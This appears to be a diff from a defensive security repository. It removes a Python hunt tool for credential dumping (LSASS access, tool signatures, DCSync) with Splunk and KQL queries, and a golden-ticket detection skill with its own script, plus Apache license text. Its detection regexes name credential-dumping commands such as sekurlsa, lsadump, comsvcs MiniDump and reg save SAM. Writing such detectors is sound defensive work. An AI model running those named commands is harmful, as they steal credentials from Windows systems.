"granted_access": access,
|
||||
"access_description": risk_info["description"],
|
||||
"risk_level": risk_info["risk"],
|
||||
"user": event.get("user", "unknown"),
|
||||
"hostname": event.get("hostname", "unknown"),
|
||||
"timestamp": event.get("timestamp", "unknown"),
|
||||
"indicators": [f"LSASS access from {source_name} with mask {access}"],
|
||||
}
|
||||
|
||||
|
||||
def detect_credential_tool(event: dict) -> dict | None:
|
||||
"""Detect known credential dumping tool execution."""
|
||||
cmd = event.get("command_line", "")
|
||||
if not cmd:
|
||||
return None
|
||||
|
||||
for tool_name, tool_info in CRED_DUMP_TOOL_PATTERNS.items():
|
||||
for pattern in tool_info["patterns"]:
|
||||
if re.search(pattern, cmd, re.IGNORECASE):
|
||||
return {
|
||||
"detection_type": "CREDENTIAL_TOOL",
|
||||
"technique": tool_info["technique"],
|
||||
"tool": tool_name,
|
||||
"command_line": cmd,
|
||||
"source_process": event.get("source_image", ""),
|
||||
"parent_process": event.get("parent_image", ""),
|
||||
"risk_level": "CRITICAL",
|
||||
"user": event.get("user", "unknown"),
|
||||
"hostname": event.get("hostname", "unknown"),
|
||||
"timestamp": event.get("timestamp", "unknown"),
|
||||
"indicators": [f"Credential tool detected: {tool_name}", f"Pattern matched: {pattern}"],
|
||||
}
|
||||
return None
|
||||
|
||||
|
||||
def detect_dcsync(event: dict) -> dict | None:
|
||||
"""Detect DCSync activity from non-DC sources."""
|
||||
props = event.get("properties", "")
|
||||
for guid, name in DCSYNC_GUIDS.items():
|
||||
if guid.lower() in props.lower():
|
||||
return {
|
||||
"detection_type": "DCSYNC",
|
||||
"technique": "T1003.006",
|
||||
"replication_right": name,
|
||||
"guid": guid,
|
||||
"risk_level": "CRITICAL",
|
||||
"user": event.get("user", "unknown"),
|
||||
"hostname": event.get("hostname", "unknown"),
|
||||
"timestamp": event.get("timestamp", "unknown"),
|
||||
"indicators": [f"DCSync activity: {name}", f"GUID: {guid}"],
|
||||
}
|
||||
return None
|
||||
|
||||
|
||||
def run_hunt(input_path: str, output_dir: str, dc_list: list[str] | None = None) -> None:
|
||||
"""Execute credential dumping hunt."""
|
||||
print(f"[*] Credential Dumping Hunt - {datetime.datetime.now().isoformat()}")
|
||||
print(f"[*] Input: {input_path}")
|
||||
|
||||
events = parse_logs(input_path)
|
||||
print(f"[*] Loaded {len(events)} events")
|
||||
|
||||
findings = []
|
||||
stats = defaultdict(int)
|
||||
|
||||
for raw_event in events:
|
||||
event = normalize_event(raw_event)
|
||||
|
||||
# Check for LSASS access
|
||||
result = detect_lsass_access(event)
|
||||
if result:
|
||||
findings.append(result)
|
||||
stats["LSASS_ACCESS"] += 1
|
||||
stats[result["risk_level"]] += 1
|
||||
|
||||
# Check for credential dumping tools
|
||||
result = detect_credential_tool(event)
|
||||
if result:
|
||||
findings.append(result)
|
||||
stats["CREDENTIAL_TOOL"] += 1
|
||||
stats[result["risk_level"]] += 1
|
||||
|
||||
# Check for DCSync
|
||||
result = detect_dcsync(event)
|
||||
if result:
|
||||
if dc_list and result["hostname"].lower() in [dc.lower() for dc in dc_list]:
|
||||
continue # Skip legitimate DC replication
|
||||
findings.append(result)
|
||||
stats["DCSYNC"] += 1
|
||||
stats[result["risk_level"]] += 1
|
||||
|
||||
# Write output
|
||||
output_path = Path(output_dir)
|
||||
output_path.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
findings_file = output_path / "credential_dump_findings.json"
|
||||
with open(findings_file, "w", encoding="utf-8") as f:
|
||||
json.dump({
|
||||
"hunt_id": f"TH-CRED-DUMP-{datetime.date.today().isoformat()}",
|
||||
"timestamp": datetime.datetime.now().isoformat(),
|
||||
"total_events": len(events),
|
||||
"total_findings": len(findings),
|
||||
"statistics": dict(stats),
|
||||
"findings": findings,
|
||||
}, f, indent=2)
|
||||
|
||||
# Write report
|
||||
report_file = output_path / "hunt_report.md"
|
||||
with open(report_file, "w", encoding="utf-8") as f:
|
||||
f.write(f"# Credential Dumping Hunt Report\n\n")
|
||||
f.write(f"**Date**: {datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n")
|
||||
f.write(f"**Events Analyzed**: {len(events)}\n")
|
||||
f.write(f"**Findings**: {len(findings)}\n\n")
|
||||
f.write("## Detection Breakdown\n\n")
|
||||
for key, count in sorted(stats.items()):
|
||||
f.write(f"- {key}: {count}\n")
|
||||
f.write("\n## Critical Findings\n\n")
|
||||
for finding in sorted(findings, key=lambda x: ("CRITICAL", "HIGH", "MEDIUM", "LOW").index(x["risk_level"])):
|
||||
if finding["risk_level"] in ("CRITICAL", "HIGH"):
|
||||
f.write(f"### [{finding['risk_level']}] {finding['detection_type']} - {finding['technique']}\n")
|
||||
f.write(f"- **Host**: {finding['hostname']}\n")
|
||||
f.write(f"- **User**: {finding['user']}\n")
|
||||
f.write(f"- **Indicators**: {', '.join(finding['indicators'])}\n\n")
|
||||
|
||||
print(f"[+] Output written to {output_dir}")
|
||||
print(f"\n{'='*60}")
|
||||
print(f"FINDINGS: {len(findings)} | CRITICAL: {stats.get('CRITICAL',0)} | HIGH: {stats.get('HIGH',0)}")
|
||||
print(f"{'='*60}")
|
||||
|
||||
|
||||
def generate_queries(platform: str) -> None:
|
||||
"""Generate hunting queries for specified platform."""
|
||||
if platform in ("splunk", "all"):
|
||||
print("\n=== SPLUNK QUERIES ===\n")
|
||||
print("--- LSASS Access Detection ---")
|
||||
print("""index=sysmon EventCode=10 TargetImage="*\\\\lsass.exe"
|
||||
| where NOT match(SourceImage, "(?i)(csrss|svchost|services|lsass|wininit|MsMpEng)")
|
||||
| stats count by SourceImage GrantedAccess Computer User
|
||||
| sort -count""")
|
||||
print("\n--- Credential Tool Detection ---")
|
||||
print("""index=sysmon EventCode=1
|
||||
| where match(CommandLine, "(?i)(sekurlsa|lsadump|comsvcs.*MiniDump|procdump.*lsass|reg save.*SAM)")
|
||||
| table _time Computer User Image CommandLine ParentImage""")
|
||||
print("\n--- DCSync Detection ---")
|
||||
print("""index=wineventlog EventCode=4662
|
||||
| where match(Properties, "(?i)(1131f6aa|1131f6ad|89e95b76)")
|
||||
| table _time SubjectUserName SubjectDomainName Computer Properties""")
|
||||
|
||||
if platform in ("kql", "all"):
|
||||
print("\n=== KQL QUERIES ===\n")
|
||||
print("--- LSASS Access ---")
|
||||
print("""DeviceEvents
|
||||
| where ActionType == "OpenProcessApiCall"
|
||||
| where FileName == "lsass.exe"
|
||||
| where InitiatingProcessFileName !in~ ("csrss.exe","svchost.exe","MsMpEng.exe")
|
||||
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, AdditionalFields""")
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Credential Dumping Detection Hunt")
|
||||
subparsers = parser.add_subparsers(dest="command")
|
||||
|
||||
hunt_parser = subparsers.add_parser("hunt", help="Run credential dumping hunt")
|
||||
hunt_parser.add_argument("--input", "-i", required=True, help="Log file path")
|
||||
hunt_parser.add_argument("--output", "-o", default="./cred_dump_output", help="Output directory")
|
||||
hunt_parser.add_argument("--dc-list", nargs="*", help="List of known DCs to exclude from DCSync alerts")
|
||||
|
||||
query_parser = subparsers.add_parser("queries", help="Generate hunting queries")
|
||||
query_parser.add_argument("--platform", "-p", choices=["splunk", "kql", "all"], default="all")
|
||||
|
||||
subparsers.add_parser("signatures", help="List detection signatures")
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
if args.command == "hunt":
|
||||
run_hunt(args.input, args.output, args.dc_list)
|
||||
elif args.command == "queries":
|
||||
generate_queries(args.platform)
|
||||
elif args.command == "signatures":
|
||||
print("\n=== Credential Dumping Tool Signatures ===\n")
|
||||
for tool, info in CRED_DUMP_TOOL_PATTERNS.items():
|
||||
print(f"{tool:<25} {info['technique']:<25} Patterns: {len(info['patterns'])}")
|
||||
else:
|
||||
parser.print_help()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -1,201 +0,0 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to the Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by the Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding any notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. Please do not remove or change
|
||||
the license header comment from a contributed file except when
|
||||
necessary.
|
||||
|
||||
Copyright 2026 mukul975
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -1,41 +0,0 @@
|
||||
---
|
||||
name: detecting-golden-ticket-attacks
|
||||
description: >-
|
||||
Detect Kerberos golden ticket attacks by analyzing Windows Security event logs for anomalous
|
||||
TGT usage patterns. Parses Event IDs 4624, 4672, and 4768 from EVTX files to identify tickets
|
||||
with abnormal lifetimes, domain SID mismatches, and privilege escalation sequences where
|
||||
non-admin accounts receive admin-level privileges without corresponding group membership changes.
|
||||
domain: cybersecurity
|
||||
subdomain: security-operations
|
||||
tags: [detecting, golden, ticket, attacks]
|
||||
version: "1.0"
|
||||
author: mahipal
|
||||
license: Apache-2.0
|
||||
---
|
||||
|
||||
## Instructions
|
||||
|
||||
1. Install dependencies: `pip install python-evtx lxml`
|
||||
2. Collect Windows Security EVTX logs from domain controllers.
|
||||
3. Parse Event IDs:
|
||||
- 4768: Kerberos TGT requests (authentication service requests)
|
||||
- 4624: Logon events (look for LogonType 3 with NTLM or Kerberos)
|
||||
- 4672: Special privileges assigned (admin logon indicators)
|
||||
4. Detect golden ticket indicators:
|
||||
- TGT with lifetime >10 hours (default max is 10h)
|
||||
- Event 4672 for accounts not in Domain Admins
|
||||
- Logon events with no corresponding 4768 TGT request
|
||||
- Domain SID inconsistencies in ticket data
|
||||
5. Generate detection report with timeline reconstruction.
|
||||
|
||||
```bash
|
||||
python scripts/agent.py --evtx-file /path/to/Security.evtx --output golden_ticket_report.json
|
||||
```
|
||||
|
||||
## Examples
|
||||
|
||||
### Detect Anomalous Privilege Assignment
|
||||
Event 4672 for a standard user account receiving SeDebugPrivilege, SeTcbPrivilege, or SeBackupPrivilege indicates potential golden ticket usage.
|
||||
|
||||
### TGT Without Corresponding AS-REQ
|
||||
A logon event (4624) with Kerberos authentication but no matching 4768 (TGT request) on the DC suggests a forged TGT.
|
||||
@@ -1,50 +0,0 @@
|
||||
# API Reference: Detecting Golden Ticket Attacks
|
||||
|
||||
## python-evtx Library
|
||||
```python
|
||||
from Evtx.Evtx import FileHeader
|
||||
with open("Security.evtx", "rb") as f:
|
||||
fh = FileHeader(f)
|
||||
for record in fh.records():
|
||||
xml_string = record.xml()
|
||||
```
|
||||
|
||||
## Key Event IDs
|
||||
|
||||
### Event 4768 - Kerberos TGT Request (AS-REQ)
|
||||
```xml
|
||||
<Data Name="TargetUserName">admin_user</Data>
|
||||
<Data Name="TargetDomainName">CORP.LOCAL</Data>
|
||||
<Data Name="TicketEncryptionType">0x12</Data>
|
||||
<Data Name="PreAuthType">15</Data>
|
||||
<Data Name="IpAddress">::ffff:10.0.0.50</Data>
|
||||
```
|
||||
|
||||
### Event 4624 - Logon Event
|
||||
```xml
|
||||
<Data Name="TargetUserName">user</Data>
|
||||
<Data Name="LogonType">3</Data>
|
||||
<Data Name="AuthenticationPackageName">Kerberos</Data>
|
||||
<Data Name="IpAddress">10.0.0.50</Data>
|
||||
<Data Name="WorkstationName">WKS01</Data>
|
||||
```
|
||||
|
||||
### Event 4672 - Special Privileges Assigned
|
||||
```xml
|
||||
<Data Name="SubjectUserName">user</Data>
|
||||
<Data Name="SubjectDomainName">CORP</Data>
|
||||
<Data Name="PrivilegeList">SeDebugPrivilege SeTcbPrivilege</Data>
|
||||
```
|
||||
|
||||
## Golden Ticket Detection Indicators
|
||||
| Indicator | Evidence |
|
||||
|-----------|----------|
|
||||
| Orphan logon | 4624 Kerberos logon with no 4768 TGT request |
|
||||
| Privilege anomaly | 4672 admin privs for non-admin account |
|
||||
| Abnormal TGT lifetime | TGT valid >10 hours (default max) |
|
||||
| RC4 TGT majority | >50% of TGTs using 0x17 encryption |
|
||||
| Domain SID mismatch | TGT domain SID differs from DC |
|
||||
|
||||
## MITRE ATT&CK
|
||||
- T1558.001 - Golden Ticket
|
||||
- T1550 - Use Alternate Authentication Material
|
||||
@@ -1,185 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Golden Ticket Detection Agent - Detects forged Kerberos TGTs via Event 4624/4672/4768 analysis."""
|
||||
|
||||
import json
|
||||
import logging
|
||||
import argparse
|
||||
from collections import defaultdict
|
||||
from datetime import datetime
|
||||
|
||||
from Evtx.Evtx import FileHeader
|
||||
from lxml import etree
|
||||
|
||||
logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
NS = {"evt": "http://schemas.microsoft.com/win/2004/08/events/event"}
|
||||
|
||||
ADMIN_PRIVILEGES = [
|
||||
"SeDebugPrivilege", "SeTcbPrivilege", "SeBackupPrivilege",
|
||||
"SeRestorePrivilege", "SeTakeOwnershipPrivilege", "SeLoadDriverPrivilege",
|
||||
"SeImpersonatePrivilege", "SeAssignPrimaryTokenPrivilege",
|
||||
]
|
||||
|
||||
|
||||
def parse_event_data(root):
|
||||
"""Extract EventData fields from an EVTX XML record."""
|
||||
data = {}
|
||||
for elem in root.findall(".//evt:EventData/evt:Data", NS):
|
||||
data[elem.get("Name", "")] = elem.text or ""
|
||||
time_elem = root.find(".//evt:System/evt:TimeCreated", NS)
|
||||
data["_timestamp"] = time_elem.get("SystemTime", "") if time_elem is not None else ""
|
||||
return data
|
||||
|
||||
|
||||
def parse_security_events(evtx_path):
|
||||
"""Parse Event IDs 4624, 4672, and 4768 from Security EVTX."""
|
||||
events = {"4624": [], "4672": [], "4768": []}
|
||||
target_ids = {"4624", "4672", "4768"}
|
||||
with open(evtx_path, "rb") as f:
|
||||
fh = FileHeader(f)
|
||||
for record in fh.records():
|
||||
try:
|
||||
xml = record.xml()
|
||||
root = etree.fromstring(xml.encode("utf-8"))
|
||||
eid_elem = root.find(".//evt:System/evt:EventID", NS)
|
||||
if eid_elem is None or eid_elem.text not in target_ids:
|
||||
continue
|
||||
data = parse_event_data(root)
|
||||
events[eid_elem.text].append(data)
|
||||
except Exception:
|
||||
continue
|
||||
for eid, evts in events.items():
|
||||
logger.info("Parsed %d events for Event ID %s", len(evts), eid)
|
||||
return events
|
||||
|
||||
|
||||
def detect_orphan_logons(events):
|
||||
"""Detect Kerberos logons (4624) with no corresponding TGT request (4768)."""
|
||||
tgt_accounts = {e.get("TargetUserName", "").lower() for e in events["4768"]}
|
||||
orphan_logons = []
|
||||
for logon in events["4624"]:
|
||||
if logon.get("AuthenticationPackageName", "") == "Kerberos":
|
||||
account = logon.get("TargetUserName", "").lower()
|
||||
if account and account not in tgt_accounts and not account.endswith("$"):
|
||||
orphan_logons.append({
|
||||
"timestamp": logon["_timestamp"],
|
||||
"account": logon.get("TargetUserName", ""),
|
||||
"source_ip": logon.get("IpAddress", ""),
|
||||
"logon_type": logon.get("LogonType", ""),
|
||||
"workstation": logon.get("WorkstationName", ""),
|
||||
"indicator": "Kerberos logon without TGT request (possible golden ticket)",
|
||||
})
|
||||
logger.info("Found %d orphan Kerberos logons", len(orphan_logons))
|
||||
return orphan_logons
|
||||
|
||||
|
||||
def detect_anomalous_privileges(events, known_admins=None):
|
||||
"""Detect non-admin accounts receiving admin privileges (Event 4672)."""
|
||||
if known_admins is None:
|
||||
known_admins = set()
|
||||
anomalous = []
|
||||
for priv_event in events["4672"]:
|
||||
account = priv_event.get("SubjectUserName", "")
|
||||
privileges = priv_event.get("PrivilegeList", "")
|
||||
if account.lower() not in known_admins and not account.endswith("$"):
|
||||
admin_privs = [p for p in ADMIN_PRIVILEGES if p in privileges]
|
||||
if admin_privs:
|
||||
anomalous.append({
|
||||
"timestamp": priv_event["_timestamp"],
|
||||
"account": account,
|
||||
"domain": priv_event.get("SubjectDomainName", ""),
|
||||
"admin_privileges": admin_privs,
|
||||
"indicator": "Non-admin account with admin privileges (golden ticket indicator)",
|
||||
})
|
||||
logger.info("Found %d anomalous privilege assignments", len(anomalous))
|
||||
return anomalous
|
||||
|
||||
|
||||
def detect_abnormal_tgt_patterns(events):
|
||||
"""Detect TGT requests with abnormal encryption types or patterns."""
|
||||
account_tgts = defaultdict(list)
|
||||
for tgt in events["4768"]:
|
||||
account = tgt.get("TargetUserName", "")
|
||||
account_tgts[account].append(tgt)
|
||||
anomalies = []
|
||||
for account, tgts in account_tgts.items():
|
||||
if account.endswith("$"):
|
||||
continue
|
||||
rc4_tgts = [t for t in tgts if t.get("TicketEncryptionType", "") in ("0x17", "0x18")]
|
||||
if rc4_tgts and len(rc4_tgts) > len(tgts) * 0.5:
|
||||
anomalies.append({
|
||||
"account": account,
|
||||
"total_tgts": len(tgts),
|
||||
"rc4_tgts": len(rc4_tgts),
|
||||
"indicator": "Majority RC4 TGT requests (possible ticket forging)",
|
||||
})
|
||||
logger.info("Found %d accounts with abnormal TGT patterns", len(anomalies))
|
||||
return anomalies
|
||||
|
||||
|
||||
def detect_logon_privilege_correlation(events):
|
||||
"""Correlate logon events with privilege assignments for timeline analysis."""
|
||||
priv_accounts = defaultdict(list)
|
||||
for priv in events["4672"]:
|
||||
account = priv.get("SubjectUserName", "").lower()
|
||||
priv_accounts[account].append(priv["_timestamp"])
|
||||
logon_accounts = defaultdict(list)
|
||||
for logon in events["4624"]:
|
||||
account = logon.get("TargetUserName", "").lower()
|
||||
logon_accounts[account].append({
|
||||
"timestamp": logon["_timestamp"],
|
||||
"source_ip": logon.get("IpAddress", ""),
|
||||
"logon_type": logon.get("LogonType", ""),
|
||||
})
|
||||
correlations = []
|
||||
for account in priv_accounts:
|
||||
if account in logon_accounts and not account.endswith("$"):
|
||||
correlations.append({
|
||||
"account": account,
|
||||
"privilege_events": len(priv_accounts[account]),
|
||||
"logon_events": len(logon_accounts[account]),
|
||||
"source_ips": list({l["source_ip"] for l in logon_accounts[account]}),
|
||||
})
|
||||
return correlations
|
||||
|
||||
|
||||
def generate_report(orphan_logons, priv_anomalies, tgt_anomalies, correlations):
|
||||
"""Generate golden ticket detection report."""
|
||||
total = len(orphan_logons) + len(priv_anomalies) + len(tgt_anomalies)
|
||||
severity = "Critical" if orphan_logons and priv_anomalies else "High" if total > 0 else "Low"
|
||||
report = {
|
||||
"timestamp": datetime.utcnow().isoformat(),
|
||||
"severity": severity,
|
||||
"orphan_kerberos_logons": orphan_logons[:20],
|
||||
"anomalous_privilege_assignments": priv_anomalies[:20],
|
||||
"abnormal_tgt_patterns": tgt_anomalies,
|
||||
"logon_privilege_correlations": correlations[:20],
|
||||
"total_indicators": total,
|
||||
}
|
||||
print(f"GOLDEN TICKET DETECTION: {total} indicators, Severity: {severity}")
|
||||
return report
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Golden Ticket Detection Agent")
|
||||
parser.add_argument("--evtx-file", required=True, help="Path to Security EVTX file")
|
||||
parser.add_argument("--known-admins", nargs="*", default=[], help="Known admin account names")
|
||||
parser.add_argument("--output", default="golden_ticket_report.json")
|
||||
args = parser.parse_args()
|
||||
|
||||
events = parse_security_events(args.evtx_file)
|
||||
known_admins = {a.lower() for a in args.known_admins}
|
||||
orphan_logons = detect_orphan_logons(events)
|
||||
priv_anomalies = detect_anomalous_privileges(events, known_admins)
|
||||
tgt_anomalies = detect_abnormal_tgt_patterns(events)
|
||||
correlations = detect_logon_privilege_correlation(events)
|
||||
|
||||
report = generate_report(orphan_logons, priv_anomalies, tgt_anomalies, correlations)
|
||||
with open(args.output, "w") as f:
|
||||
json.dump(report, f, indent=2)
|
||||
logger.info("Report saved to %s", args.output)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -1,201 +0,0 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
